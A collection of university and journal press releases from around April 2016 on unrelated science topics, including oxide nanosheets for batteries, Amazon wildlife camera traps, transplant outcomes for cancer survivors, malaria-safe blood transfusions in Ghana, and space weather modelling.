In an energy storage device -- a battery or a capacitor, for example -- energy is contained in the chemical transfer of ions from an electrolyte solution to thin layers of conductive materials. As these devices evolve they're becoming smaller and capable of holding an electric charge for longer periods of time without needing a recharge. The reason for their improvement is that researchers are fabricating materials that are better equipped, structurally and chemically, for collecting and disbursing ions.

In theory, the best materials for the job should be thin sheets of metal oxides, because their chemical structure and high surface area makes it easy for ions to attach -- which is how energy storage occurs. But the metal oxide sheets that have been fabricated in labs thus far have fallen well short of their theoretical capabilities.

According to Zhou, Tang and the team from HUST, the problem lies in the process of making the nanosheets -- which involves either a deposition from gas or a chemical etching -- often leaves trace chemical residues that contaminate the material and prevent ions from bonding to it. In addition, the materials made in this way are often just a few square micrometers in size.

Using salt crystals as a substrate for growing the crystals lets them spread out and form a larger sheet of oxide material. Think of it like making a waffle by dripping batter into a pan versus pouring it into a big waffle iron; the key to getting a big, sturdy product is getting the solution -- be it batter, or chemical compound -- to spread evenly over the template and stabilize in a uniform way.

"This method of synthesis, called 'templating' -- where we use a sacrificial material as a substrate for growing a crystal -- is used to create a certain shape or structure," said Yury Gogotsi, PhD, University and Trustee Chair professor in Drexel's College of Engineering and head of the A.J. Drexel Nanomaterials Institute, who was an author of the paper. "The trick in this work is that the crystal structure of salt must match the crystal structure of the oxide, otherwise it will form an amorphous film of oxide rather than a thing, strong and stable nanocrystal. This is the key finding of our research -- it means that different salts must be used to produce different oxides."

Researchers have used a variety of chemicals, compounds, polymers and objects as growth templates for nanomaterials. But this discovery shows the importance of matching a template to the structure of the material being grown. Salt crystals turn out to be the perfect substrate for growing oxide sheets of magnesium, molybdenum and tungsten.

The precursor solution coats the sides of the salt crystals as the oxides begin to form. After they've solidified, the salt is dissolved in a wash, leaving nanometer-thin two-dimensional sheets that formed on the sides of the salt crystal -- and little trace of any contaminants that might hinder their energy storage performance. By making oxide nanosheets in this way, the only factors that limit their growth is the size of the salt crystal and the amount of precursor solution used.

"Lateral growth of the 2D oxides was guided by salt crystal geometry and promoted by lattice matching and the thickness was restrained by the raw material supply. The dimensions of the salt crystals are tens of micrometers and guide the growth of the 2D oxide to a similar size," the researchers write in the paper. "On the basis of the naturally non-layered crystal structures of these oxides, the suitability of salt-assisted templating as a general method for synthesis of 2D oxides has been convincingly demonstrated."

As predicted, the larger size of the oxide sheets also equated to a greater ability to collect and disburse ions from an electrolyte solution -- the ultimate test for its potential to be used in energy storage devices. Results reported in the paper suggest that use of these materials may help in creating an aluminum-ion battery that could store more charge than the best lithium-ion batteries found in laptops and mobile devices today.

Gogotsi, along with his students in the Department of Materials Science and Engineering, has been collaborating with Huazhong University of Science and Technology since 2012 to explore a wide variety of materials for energy storage application. The lead author of the Nature Communications article, Xu Xiao, and co-author Tiangi Li, both Zhou's doctoral students, came to Drexel as exchange students to learn about the University's supercapacitor research. Those visits started a collaboration, which was supported by Gogotsi's annual trips to HUST. While the partnership has already yielded five joint publications, Gogotsi speculates that this work is only beginning.

"The most significant result of this work thus far is that we've demonstrated the ability to generate high-quality 2D oxides with various compositions," Gogotsi said. "I can certainly see expanding this approach to other oxides that may offer attractive properties for electrical energy storage, water desalination membranes, photocatalysis and other applications."

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If you've been on the Internet lately, you've probably seen a cat selfie. Now, a Field Museum expedition to the Peruvian Amazon has elevated the animal selfie phenomenon to a whole new level. Earlier this year, a team of 25 scientists trekked to the unexplored reaches of Medio Putumayo-Algodon, Peru and spent 17 days conducting a rapid biological and social inventory of the area. As part of their efforts to document the region's biodiversity, the team set up 14 motion-activated camera traps and used a drone to capture aerial footage of the rainforest. The results are amazing.

The camera traps revealed remarkable biodiversity in the area, showing animals like ocelots, giant armadillos, currassows, giant anteaters, tapirs, peccaries, and pacas up close and personal in their native habitat. Meanwhile, the aerial drone footage helped paint a picture of the overall landscape, sharing a never-before-seen look at the vast forest, which is only accessible by helicopter.

"No scientists have ever explored this area, let alone document it with cameras and drones," explains Jon Markel, The Field Museum's Geographic Information Systems (GIS) specialist.

"These images are the first time this remote wilderness and the species that call it home are being recorded for science."

During the inventory, biologists encountered an astonishing amount of wildlife, recording 1,820 plant, fish, amphibian, reptile, bird, and mammal species, including 19 species believed to be new to science. The team documented the largest number of frogs and snakes of any Field Museum rapid inventory, discovered large peat deposits, and found clay licks that provide salt essential to the health of local wildlife.

The social team worked with the nine indigenous groups living in the region to understand their use of the landscape and their aspirations for the future. They have a clear vision of wanting to protect these lands. However, the area is under threat from illegal mining and logging, as well as a proposed road.

"You can't argue for the protection of an area without knowing what is there," said Corine Vriesendorp, Director of The Field Museum's rapid inventory program. "We discovered an intact forest inhabited by indigenous people for centuries and teeming with wildlife. We want it to survive and thrive long after our cameras are gone."

Over the past 17 years, The Field Museum's rapid inventory program has conducted 28 rapid inventories and helped governments establish 18 new protected areas totaling 26.5 million acres. The program is weaving these successes together into vast, unbroken conservation corridors that honor the continental-scale and splendor of the Amazon. To learn more about The Field Museum's conservation efforts in South America, visit the Museum's website.

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Visit The Field Museum's Facebook page for the full gallery of animal selfies and drone footage.
About four million critically-ill or injured patients are admitted to intensive care units (ICUs) in American hospitals every year. The care they receive is not only intensive, but intense -- the emphasis is on speed, applying the latest clinical interventions and medical technologies, and saving lives -- which is appropriate, given that mortality in an ICU can average between eight and 30 percent.

ICU care, in short, is more like the medical care George Clooney used to deliver on TV. But in the midst of all that drama, ICU physician Samuel Brown, MD, who has long practiced in the Shock/Trauma Intensive Care Unit at Intermountain Medical Center in Salt Lake City, a Level I Trauma Center, saw that the human touch should be more central to the healing process -- and he set out to find innovative ways to improve the way intensive care is delivered.

Dr. Brown, founder and director of the Center for Humanizing Critical Care at Intermountain Medical Center, shares his research and experience relating to how to protect the humanity of patients and families in intensive care units in a new book, titled Through the Valley of Shadows.

Using insights from cognitive psychology, the book discusses new approaches to reduce suffering for patients and their families when they need high levels of care, including concrete strategies to apply before, during, and after a serious illness.

Brown's work addresses the needs of both those who survive such illnesses, as well as those who die. He uses experiences from his own clinical practice to illustrate the current problems and possible solutions for dealing with serious illness.

He shows that the old model of "Doctor Knows Best" paternalism failed, but so have many of the proposed solutions that have placed too many burdens on patients. Between those extremes, Dr. Brown points out ways for physicians and patients to work together through the frightening trauma of life-threatening illness.

Collaboration is necessary because fear of death can create blind spots for patients, families, and physicians. A poignant experience described in the book deals with a man named Bruce and his three daughters. Bruce, who experienced overwhelming shock, finally died after exhausting two hospitals' worth of adrenalin in a desperate attempt to save his life.

"Because of our nation's relentless commitment to invasive, uncomfortable treatments, neither Bruce, nor his daughters were able to say goodbye or reflect on the meaning of his life before he died," Dr. Brown writes.

Dr. Brown's book also examines how clinicians' focus on medical care can blind them to the spiritual needs of their patients.

An example: One patient, a devout Catholic, received his last rites from a priest in his hospital bed hours before he passed away. But he struggled to create the sign of the cross in response to the priest's gentle ministration because his restraints, intended to keep him from dislodging any medical equipment, obstructed his ability to participate in the meaningful deathbed ritual -- and his clinicians never thought to release the restraints.

The book also addresses steps to prevent clinicians from accidentally dehumanizing their patients, such as making the effort to learn about his patients' lives and working to understand their goals, and establishing relationships with their family members. Although this effort takes extra time in a busy ICU, it means the patients and their families feel understood -- and helps them better understand what's happening to them.

"We are deeply committed to protecting the humanity of our seriously ill patients," he writes.

Through the Valley of Shadows was published by Oxford University Press and is available on Amazon.com.

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As the seven islands of American Samoa were bracing for Tropical Cyclone Amos, NASA's Aqua satellite saw the storm affecting the Southwestern Pacific Islands of Wallis and Futuna. Warnings were already in effect for American Samoa on April 22 as the storm continued moving east toward the islands.

A visible image of Amos was taken on April 22 at 0145 UTC (April 21 at 9:45 p.m. EDT) from the Moderate Resolution Imaging Spectroradiometer instrument aboard NASA's Aqua satellite. In the image, the southeastern fringe of strong thunderstorms circling the storm's center was near the island of Mata Utu, the capital of Wallis and Futuna, France. A large band of thunderstorms feeding into the center from the east is seen just west of American Samoa. American Samoa is a U.S. territory covering seven islands and atolls. The largest island, Tutuila, is the home of Pago Pago, the capital city.

On Friday, April 22 at 1500 UTC (11 a.m. EDT) Tropical Cyclone Amos' maximum sustained winds increased to 90 knots (103.6 mph/ 166.7 kph). The storm was moving to the east at 8 knots (9.2 mph/14.8 kph).

The 2:25 a.m. local time on Friday, April 22, the National Weather Service (NWS) in Pago Pago issued a high surf warning for all shores of American Samoa. NWS said that Hurricane Amos will generate dangerous surfs of 14 to 16 feet Friday afternoon along the southwest, west, northwest and north facing reefs, then building to near 18 to 22 feet Friday night into Saturday.

A high surf warning indicates dangerous large breaking waves will pound the shoreline in the warning area producing deadly rip currents and localized beach erosion. Also it is extremely dangerous to fish or observe waves from rocks during high surf conditions. Unwary beach walkers can be caught off guard as waves suddenly race farther up the beach than normal.

For updated forecasts from the NWS, Pago Pago, visit: http://www.weather.gov/ppg.

Forecasters at the Joint Typhoon Warning Center expect the storm to move east and intensify further to 115 knots (132.3 mph/213 kph), before a weakening trend begins as the storm turns to the south.

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Higher rates of death, death from cancer and new cancers did not vary according to the type of organ

TORONTO, April 22, 2016--People who had cancer before receiving an organ transplant were more likely to die of any cause, die of cancer or develop a new cancer than organ recipients who did not previously have cancer, a new paper has found. However, the increased risk is less than that reported in some previous studies.

Previous research has shown that cancer survivors were at increased risk of cancer recurrence after a transplant. But the findings regarding the risk of death and developing a new cancer were inconsistent.

The paper published today in the journal Transplantation confirms cancer survivors have a higher mortality rate and a higher rate of new cancer than organ recipients with no history of cancer, said lead author Dr. Sergio Acuna, a physician who is a PhD student in clinical epidemiology at St. Michael's Hospital.

The association between higher rates of death, death from cancer and new cancers did not vary according to the type of organ that was transplanted, the paper found.

Publication of the paper coincides with National Organ and Tissue Donation Awareness Week in Canada.

The critical shortage of organs for transplants means that clinicians and policy makers must ensure scarce donor organs are given to the patients who would benefit the most from them.

And as the population ages, the average age of transplant patients is also rising, meaning the number of organ recipients with previous cancers is expected to increase. Although the proportion of patients with previous cancers ranges from 0.4 per cent to 5.4 per cent in studies of all patients undergoing transplants in a given country, state, province or region, those patients accounted for as many as 7.4 per cent of organ recipients in Ontario in 2010.

Dr. Acuna said his paper did not examine whether the association between higher deaths, higher deaths from cancer and the development of new cancers was caused by characteristics of the organ donor or some other factor such as the type of immunosuppressant drug.

He noted that previous studies have shown that transplant recipients with previous cancers were more likely to have received organs from "expanded criteria donors" (older donors who may have had medical conditions such as high blood pressure, or who died as a result of a stoke), or to have spent prolonged time on dialysis. Both of these are factors are associated with deaths from cardiovascular incidents, such as a heart attack or stroke, and rejection of a transplanted organ.

Dr. Acuna said more research was needed to determine the length of time between when a patient was deemed to be in remission or cured of cancer before he or she could receive an organ transplant to minimize the risk of cancer recurrence without increasing the risk of death from other causes.

Dr. Nancy Baxter, the senior author on the paper and a colorectal surgeon at St Michael's, said transplant patients with a history of cancer may also need closer monitoring to detect recurrent and new cancers early. No specific recommendations on screening for second malignancies in these patients exist. She said there was also a need to better understand and mitigate the cancer risk in transplant recipients with a history of cancer, focusing on cancer prevention and early detection.

The paper is a meta-analysis of 33 cohort studies involving almost 400,000 patients in 12 countries. Organ recipients with previous cancer had at any given time 1.5 times greater risk of dying than those with no previous cancer. They had a three times higher risk of dying from cancer and an almost two times higher risk of developing a new cancer. This paper did not look at studies about patients who received a transplant for the treatment of their cancer, such as patients with liver cancer who may receive a liver transplant.

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This study received funding from the Canadian Institutes of Health Research. About St. Michael's Hospital

St. Michael's Hospital provides compassionate care to all who enter its doors. The hospital also provides outstanding medical education to future health care professionals in more than 23 academic disciplines. Critical care and trauma, heart disease, neurosurgery, diabetes, cancer care, and care of the homeless are among the Hospital's recognized areas of expertise. Through the Keenan Research Centre and the Li Ka Shing International Healthcare Education Center, which make up the Li Ki Sheng Knowledge Institute, research and education at St. Michael's Hospital are recognized and make an impact around the world. Founded in 1892, the hospital is fully affiliated with the University of Toronto.

Media contact:

For more information or to arrange an interview, please contact:

Leslie Shepherd

Manager, Media Strategy,

St. Michael's Hospital

Phone: 416-864-6094 or 416-200-4087

shepherdl@smh.ca

http://www.stmichaelshospital.com
Patients, especially children, who undergo blood transfusions in sub-Saharan Africa are at high risk of transfusion-transmitted malaria. A new trial, published in The Lancet today, suggests that treating donated blood with a new technology that combines UV radiation and vitamin B is safe and could minimise the risk of malaria infection following blood transfusions.

"In many countries in sub-Saharan Africa where malaria is endemic, a high proportion of the population carry the parasite but do not show any clinical symptoms. This is particularly problematic when it comes to donated blood transfusions as it puts the recipients at high risk of infection if no blood treatment procedure is provided," says Professor Jean-Pierre Allain, lead author from the University of Cambridge, Cambridge, UK. "Testing for parasites such as malaria is expensive and until now, there have been no technologies capable of treating whole blood, which is most commonly used in transfusions in sub-Saharan Africa. This is the first study to look at the potential of pathogen-reduction technology in a real-world treatment setting and finds that although the risk of malaria transmission is not completely eliminated, the risk is severely reduced." [1]

The study is published ahead of World Malaria Day (Monday 25th April). Every year, approximately 214 million people worldwide are infected with acute malaria, the majority of whom are in Africa. Malaria is caused by the parasite Plasmodium. It is usually transmitted by mosquito but can also be transmitted through blood transfusions - this is particularly dangerous for children who have not developed any immunity, or adults with some degree of immunodeficiency such as pregnant women.

Currently, in Europe, donated blood is subjected to a large number of safety measures. Commonly used procedures for whole blood include nucleic acid testing, blood filtration or bacterial culture but these are not done in most developing countries because of a lack of resources. A number of pathogen reduction technologies also exist to treat blood components such as plasma or platelets. However, in developing countries, particularly in sub-Saharan Africa, 70% of blood transfusions are of whole blood. Detecting Plasmodium in donated blood is very difficult - the only current, affordable option is using microscopes but this is insensitive and unreliable.

In Ghana, 50% of blood donors carry the Plasmodium parasite, and 14-28% of patients who receive a blood transfusion will later test positive for Plasmodium. In this study, researchers investigated the effectiveness and safety of a new pathogen reduction technology that uses UV light and vitamin B2 (riboflavin) to reduce the levels of the parasite in donated whole blood [2]. The study follows earlier work which found that the technology was capable of inactivating Plasmodium and other pathogens, including HIV, hepatitis C, and hepatitis B virus in vitro.

223 adult patients from the Komfo Anokye Teaching Hospital in Kumasi, Ghana who needed a blood transfusion because of severe anaemia or haemorrhage took part in the study. The study was a double blind randomised controlled trial. As would be the case in normal clinical practice, neither the doctors nor the patients knew whether the donated blood units or recipients carried the Plasmodium parasite.

The research team analysed blood samples for all of the transfusion recipients on the day of the transfusion and 1, 3, 7 and 28 days later. By studying the sequences of Plasmodium genes present in the blood, the researchers were able to tell whether the patients were likely to be carrying the donor parasite after the transfusion.

A total of 65 patients were not previously carrying the parasite - half received parasite treated blood, and the other half received parasite untreated blood. 22% of patients (8/37) who received untreated blood later tested positive for malaria parasite, compared 4% (1/28) of patients who received treated blood (figure 1).

Coagulation parameters, platelet counts and haemostatic status of the patients were similar whether patients received treated or untreated blood. The technology did not appear to affect the coagulation properties of the blood, and patients who received the treated blood had slightly fewer allergic reactions to those who received the untreated blood (5% vs 8%) (table 4).

The technology is currently in the testing phase, and the authors add that further studies, in larger population groups, and in particular at risk populations such as young children and pregnant mothers are now needed.

Writing in a linked Comment, Dr Sheila F O'Brien, Canadian Blood Services, Canada, says: "Pathogen reduction technology inactivates not only Plasmodium parasites but also a broad range of transfusion-transmissible pathogens, including HIV, hepatitis C, and hepatitis B...The anticipated introduction of this technology for all products including red blood cells heralds a dramatic transformation in approach in transfusion medicine. In developed countries, pathogen reduction technology would further reduce the already low risk of transmitting infections. It would also address concerns from emerging pathogens such as Babesia microti, West Nile virus, Chikungunya virus, and Zika virus. The cost of implementation of the technology would be countered by a range of efficiencies in the manufacturing process -- notably, a reduction in infectious disease testing and donor deferral."

She adds: "The risk that blood recipients in Africa must accept, especially children, would be considered an intolerable risk in developed countries. Evidence that transfusion-transmitted infections in whole blood can be safely addressed by pathogen reduction technology while maintaining the clinical benefit of the transfusion underscores the potential for this treatment to revolutionise transfusion safety in Africa where it is most needed."

Also in this week's issue of The Lancet - under embargo to 23.30 [UK time] Thursday 21st April

Researchers at the University of California, San Francisco, USA assess progress along the path to malaria eradication. Professor Richard Feachem, Director of the UCSF Global Health Group, and colleagues examine the status of more than 30 countries currently working to eliminate malaria, a precursor to eradication, and identify the biggest threats--loss of financial, political support and technical challenges--and the most crucial enabling factors to achieving malaria eradication by 2040. [3]

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NOTES TO EDITORS:

The study was funded by TerumoBCT Inc.

Declaration of interests: J-PA, AKO-O, and S-OO have received grants from TerumoBCT. SM is an employee of TerumoBCT. RPG is an employee of TerumoBCT and owns patents assigned to TerumoBCT. SMA declares no competing interests.

[1] Quote direct from author and cannot be found in the text of the Article.

[2] Mirasol (Terumo BCT, Lakewood, CO, USA) was used in this study.

[3] The most up-to-date data from the WHO World Malaria Report is available here: http://www.who.int/malaria/publications/world-malaria-report-2015/report/en/

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Article: http://www.thelancet.com/journals/lancet/article/PIIS0140-6736(16)00581-X/abstract

Review: http://www.thelancet.com/journals/lancet/article/PIIS0140-6736(16)00230-0/abstract
A test has been developed to check for contamination of shallow groundwater from unconventional gas extraction techniques, such as fracking.

The development could help monitor the safety of shale gas and coal bed methane extraction, which has sparked debate because of the perceived risks of water contamination.

Methods used for shale gas extraction include hydraulic fracturing, commonly known as fracking, in which shale rocks below ground are split with high-pressure fluids to release gas that is recovered for fuel. Coal bed methane is extracted from deep coal seams by drilling into the coal to reduce the pressure and release gas.

The need for such a test was highlighted following allegations in the US that, following fracking operations, drinking water had become contaminated with large amounts of methane from deep below ground.

Groundwater often contains methane gas from shallow natural sources, which is harmless in small quantities. The researchers have developed a new way to fingerprint methane gas by identifying tiny traces of inactive natural gases, known as noble gases. These fingerprints vary depending on the origin and depth of the methane, and enable scientists to pinpoint its source.

The researchers, from the Universities of Edinburgh and Glasgow and the Scottish Universities Environmental Research Centre, have recorded these unique fingerprints in a number of exploratory shale gas and coal bed methane wells from around the UK. They are presenting these findings today (Friday) at the European Geosciences Union Conference in Vienna.

The fingerprint analysis can be used to determine the origin of methane at exploration sites. If levels of methane in groundwater are found to have changed following exploration activity, and the gas is traced to exploration or extraction activity, appropriate action can be taken.

Scientists developed the test by adapting a technique used for monitoring potential leaks of carbon dioxide gas from storage sites deep underground.

Dr Stuart Gilfillan, of the University of Edinburgh's School of GeoSciences, who led the project, said: "Creating this fingerprint test will enable gas exploration and extraction to be carried out responsibly and should help address public concerns over this technology. It is important that careful monitoring of methane levels in nearby waters is carried out when commercial extraction begins."

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The project was supported by the Natural Environment Research Council, the Scottish Government and the University of Edinburgh.
HOUSTON, April 22, 2016 - Each year, an estimated 1.7 million Americans sustain a traumatic brain injury (TBI), with an estimated 5 million Americans suffering from long-term effects. Among veterans and athletes, this rate is much higher. Current treatment options for TBI are limited, while annual costs, including lost wages and productivity, are estimated to be about $60 billion.

Amy Sater, professor and chair of the Department of Biology and Biochemistry at the University of Houston, was awarded a two-year, $386,000 grant from the Robert J. Kleberg Jr. and Helen C. Kleberg Foundation to develop a model for studying TBI. This is the first Kleberg Foundation grant awarded to UH.

"The goal of this project is to develop a system that will allow us to perform large-scale screens to search for possible drugs that can facilitate recovery from brain injury," Sater said.

To develop this system, Sater will be using the tadpole of the African clawed frog, Xenopus laevis (Xenopus for short), which offers some crucial advantages for performing large-scale TBI studies. Small, with a rapid reproductive rate, they have a brain that can be easily visualized until the late tadpole phase.

Other model organisms - typically mouse and rat - have longer life cycles, brains encased in skulls and are expensive to maintain. By comparison, Xenopus offers an alternative that can allow wide-scale searches for potential therapies.

To develop an experimental system, Sater and her research team will be developing the tools and protocols that will allow them to study brain injuries in Xenopus. This will involve developing transgenic lines that allow for easy visualization of specific cell types in the brain, as well as developing the protocols to induce brain injuries.

To interpret these results, Sater's group will collaborate with the lab of Badri Roysam, professor and chair of the Department of Electrical and Computer Engineering. Roysam's group will develop methods for quantitative analysis of images of cells responding to injury.

"We will be focusing on cells called astrocytes," Sater said. "When there is a brain injury, the frontline response of the brain is mediated in large part by astrocytes."

Astrocytes surround neurons and serve a variety of important roles within the brain. One role is the repair and scarring process of the brain and spinal cord. Following a traumatic injury, astrocytes migrate to the damaged site, forming a glial scar that limits the extent of the injury.

In addition to forming a glial scar, astrocytes also play a role in the post-TBI inflammatory response. In humans, post-TBI inflammation persists for months, even years, and is considered to be inhibitory to long-term healing.

Sater's research group will create tadpoles expressing fluorescent proteins in astrocytes, allowing them to easily differentiate these cells from the surrounding tissue. This way, they can easily image the response of astrocytes to injury, giving them a way to assess rate of recovery. Sater's group will also adapt protocols that are used to study brain injuries in mice for use in Xenopus.

Once these tools are in place, Sater's group will have the capacity to treat large numbers of tadpoles with different compounds, while also assessing their efficacy in promoting brain injury recovery.

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This grant will provide funds for two years and is eligible for the Texas Research Initiative Program, which matches research funds awarded through private gifts and endowments.

Editor's note: Story courtesy of Rachel Fairbank, College of Natural Sciences and Mathematics

About the University of Houston

The University of Houston is a Carnegie-designated Tier One public research university recognized by The Princeton Review as one of the nation's best colleges for undergraduate education. UH serves the globally competitive Houston and Gulf Coast Region by providing world-class faculty, experiential learning and strategic industry partnerships. Located in the nation's fourth-largest city, UH serves more than 42,700 students in the most ethnically and culturally diverse region in the country. For more information about UH, visit the university's newsroom at http://www.uh.edu/news-events/.

About the College of Natural Sciences and Mathematics

The UH College of Natural Sciences and Mathematics, with 193 ranked faculty and nearly 6,000 students, offers bachelor's, master's and doctoral degrees in the natural sciences, computational sciences and mathematics. Faculty members in the departments of biology and biochemistry, chemistry, computer science, earth and atmospheric sciences, mathematics and physics conduct internationally recognized research in collaboration with industry, Texas Medical Center institutions, NASA and others worldwide.

To receive UH science news via email, sign up for UH-SciNews at http://www.uh.edu/news-events/mailing-lists/sciencelistserv/index.php.
HOUSTON, April 21, 2016 - Longtime College of Optometry faculty member and University of Houston administrator Roger L. Boltz was named Educator of the Year by the Texas Optometric Association (TOA) for his dedication and hard work in furthering the profession and providing leadership during his longstanding tenure at UH.

No stranger to this caliber of award, Boltz was chosen for a similar honor at the start of his career by the international optometric honor society Beta Sigma Kappa, which works to develop programs that foster academic excellence. When asked what he finds most rewarding about teaching, he says, "seeing the progression of students throughout the curriculum."

Boltz, an associate professor, received both his Doctor of Optometry and Ph.D. from UH and has been with the College of Optometry as part of the faculty for nearly 40 years. During his time at the college, he served a two-year term as interim dean and was associate dean for professional studies prior to that. He is currently the associate dean for finance and administration and serves as chair of the Accreditation Council on Optometric Education.

His clinical interest is in cornea and contact lenses, and he is part of the team that supervises third- and fourth-year professional students in assessing patients and dispensing contact lenses at the Cornea and Contact Lens Service at the University Eye Institute. Here, he not only trains future doctors, but also practicing doctors around the state and across the nation in the form of continuing education.

"A good educator engages students in a way that not only allows them to master knowledge, but also to create a lifelong learner," said Marcus G. Piccolo, a fellow faculty member and the associate dean for professional advancement at the UH College of Optometry. "In Roger's case, he is a good teacher first, but in his capacity of interim dean, he created an environment that allowed lifelong learning to flourish across the entire college, for students and faculty, alike."

Piccolo is a TOA board member and was on the committee that chose Boltz for this honor.

"During his two years as interim dean, Roger took on a tough job and maintained the college's stature within the state and continued to amplify relations with the TOA," Piccolo said. "Typically, the TOA looks for an educator who positively impacts the profession, such as by increasing exposure of the college community to the TOA's work. Often, it's also someone who stresses the ideals of the profession to the students, encouraging them to be more involved with advancing it after graduation."

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About the University of Houston

The University of Houston is a Carnegie-designated Tier One public research university recognized by The Princeton Review as one of the nation's best colleges for undergraduate education. UH serves the globally competitive Houston and Gulf Coast Region by providing world-class faculty, experiential learning and strategic industry partnerships. Located in the nation's fourth-largest city, UH serves more than 42,700 students in the most ethnically and culturally diverse region in the country. For more information about UH, visit the university's newsroom at http://www.uh.edu/news-events/.

About the UH College of Optometry

Since 1952, the University of Houston College of Optometry (UHCO) has educated and trained optometrists to provide the highest quality vision care. One of only 22 optometry schools in the country, UHCO offers a variety of degree programs, including Doctor of Optometry (O.D.), a combined Doctor of Optometry/Doctor of Philosophy (O.D./Ph.D.), Master of Science (M.S.) and Doctor of Philosophy (Ph.D.). UHCO serves an average of 50,000 patients a year through The University Eye Institute and its external clinics located in the Houston and Dallas-Fort Worth regions.

To receive UH science news via email, sign up for UH-SciNews at http://www.uh.edu/news-events/mailing-lists/sciencelistserv/index.php.
AS the sole UK academic presenting a paper at a large-scale conference in the USA, the University of Huddersfield's Professor Jill Johnes introduced her audience to some new concepts in education finance. She also returned with a fresh idea of her own - to establish a new European association for education and finance policy.

She is Professor of Production Economics in the University's Business School and Jill Johnes's research has established her as an authority on organisational efficiency based on the form of economic modelling known as frontier estimation. A paper that she delivered in Leuven, Belgium in 2015 led to an invitation to submit a paper to the 2016 conference of the USA's Association for Education Finance and Policy (AEFP), held in Denver, attended by some 400 delegates.

Professor Johnes gave a presentation during a session entitled Costs, performance and efficiency of Higher Education Institutions.

"I was looking at estimating cost functions for higher education and the information that you can get out of those estimations," Professor Johnes.

"I think they liked the technical aspect of it," she added. It seemed, however, that the cost frontier principle has not been widely adopted in the US education sector.

"I think I was invited to submit a paper to the conference because Lori Taylor, a member of the AEFP organising committee, who heard me in Leuven, thought that delegates would be interested in the concepts and techniques," said Professor Johnes.

During her Denver paper she discussed an issue that she has recently investigated - whether or not mergers of Higher Education institutions can lead to cost savings. She believes that there is limited scope for this in England and has made this case in a recent article for the journal Research Fortnight.

There were no other presenters from UK universities at the AEFP conference and one of the few Europeans present was Professor Tommaso Agasisti from Italy's Politecnico di Milano School of Management. In December 2015, Professor Agasisti visited the University of Huddersfield for a research seminar and while in Denver, he and Professor Johnes discussed the establishment of a European association for education and finance policy, on similar lines to the American body.

"We have a lot of small conferences across Europe, specialising in different areas of education policy. What we want to try and do is bring them all under one umbrella and have a cross-fertilisation of ideas," said Professor Johnes.

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A new study of a quarter-million Miami-Dade County Medicare beneficiaries showed that higher levels of neighborhood greenness, including trees, grass and other vegetation, were linked to a significant reduction in the rate of chronic illnesses, particularly in low-to-middle income neighborhoods. Led by researchers at the University of Miami Department of Public Health Sciences at the Miller School of Medicine, and the School of Architecture, the study showed that higher greenness was linked to significantly lower rates of diabetes, hypertension and high cholesterol, as well as fewer chronic health conditions.

The findings, published online April 6 by the American Journal of Preventive Medicine, are based on 2010 - 2011 health data reported for approximately 250,000 Miami-Dade Medicare beneficiaries over age 65, and a measure of vegetative presence based on NASA satellite imagery. The study was the first of its kind to examine block-level greenness and its relationship to health outcomes in older adults, and the first to measure the impact of greenness on specific cardio-metabolic diseases.

"This study builds on our research group's earlier analyses showing block level impacts of mixed-use and supportive building features on adults and children," said lead study author Scott Brown, Ph.D., research assistant professor of public health sciences. Brown was a co-principal investigator on the study with Elizabeth Plater-Zyberk, M.Arch., a Malcolm Matheson Distinguished Professor in Architecture. Plater-Zyberk, who was responsible for the rewrite of the City of Miami's zoning code in 2010, said the study results "give impetus to public agencies and property owners to plant and maintain a verdant public landscape."

Study findings revealed that higher levels of greenness on the blocks where the study's Medicare recipients reside, is associated with a significantly lower chronic disease risk for the residents of high greenness blocks, including a 14 percent risk reduction for diabetes, a 13 percent reduction for hypertension and a 10 percent reduction for lipid disorders.

"Going from a low to a high level of greenness at the block level is associated with 49 fewer chronic health conditions per 1,000 residents, which is approximately equivalent to a reduction in the biomedical aging of the study population by three years," said Brown.

Jack Kardys, Director of the Miami-Dade County Department of Parks, Recreation and Open Spaces, participated in data interpretation along with Miami-Dade County Parks' Chief of Planning, Research, and Design Excellence, Maria Nardi. Kardys said the study findings "illuminate the vital role of parks and greens to health and well-being, and point to the critical need for a holistic approach in planning that draws on research."

The study findings suggest extensive potential for park, open space, and streetscape design in South Florida and the United States to consider health impacts in strategic planning. Funded by the U.S. Department of Housing and Urban Development (HUD) Office of Policy Development and Research and the Health Foundation of South Florida, the research adds to a growing body of evidence that exposure to higher levels of greenness is associated with better health outcomes, by reducing stress, air pollution, humidity and heat island impacts, and encouraging physical activity, social interaction and community cohesion.

From a design standpoint, study co-author Joanna Lombard, M.Arch., professor of architecture, noted that the goals of the County's Parks and Open Spaces Masterplan already call for residents to have access to greenspace from the minute they walk outside of their homes, through tree-lined streets, as well as greens, parks, and open spaces within a 5 to 10 minute walk of their home, all of which have been shown to be linked to better health outcomes. "There's so much suffering involved in the time, money and energy spent on disease burden in the U.S., which we realize that we can, to some extent, ameliorate through healthy community design," said Lombard. "We collectively need to be attentive to the health impacts of the built environment. The associated harms are evident, and most importantly going forward, the potential benefits are significant."

In examining the results by income level and by race, the research showed that the health benefits of greenness were proportionately stronger among all racial and ethnic groups in lower income neighborhoods. Brown said this aspect of the findings suggests that incorporating more green -- trees, parks and open spaces -- in low income neighborhoods could also address issues of health disparities, which have been recently highlighted in research journals and the national media.

Jose Szapocznik, Ph.D., professor and chair of public health sciences, and founder of the University of Miami Built Environment, Behavior, and Health Research Group, pointed out that augmenting greenness, particularly in warm climates, potentially contributes to the effectiveness of other aspects of walkability. "Providing a green feature," said Szapocznik, "has been associated with safety, increased time outdoors, physical activity, and social interaction, and may potentially reduce disease burdens at the population level and enhance residents' quality of life."

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Physicists at The University of Texas at Arlington are leading a $7.3 million national initiative to develop a next generation space weather simulator capable of predicting energy distributions during space weather events like solar flares to an accuracy of one degree longitude and one degree latitude - about 100 km in each direction.

Current estimates of the energy entering the upper atmosphere during times of greatest solar output can be off by as much as 100 percent. As a result, the models used to forecast trajectories and track satellites orbiting in a specific region can also yield an error of up to 30 percent, affecting the stability of GPS and communication systems.

High-frequency radio waves, used in military, governmental and aviation communications, weather stations, maritime sea-to-shore services and distress communications and shortwave international and regional broadcasting, are also affected by the disturbances.

"This is a golden opportunity to help improve our ability to predict space weather effects with much higher accuracy and detail," said Yue Deng, an associate professor of physics and project leader. "We are bringing together physicists from seven leading research universities to create a global simulation model that combines our joint knowledge and experience to solve this important problem."

The five-year project, funded by the Department of Defense through the Multidisciplinary University Research Initiative program, involves physicists from the University of California, Los Angeles; Johns Hopkins University; Massachusetts Institute of Technology; the University of Colorado at Boulder; University of New Mexico and the University of Texas at Dallas, as part of a team led by UTA.

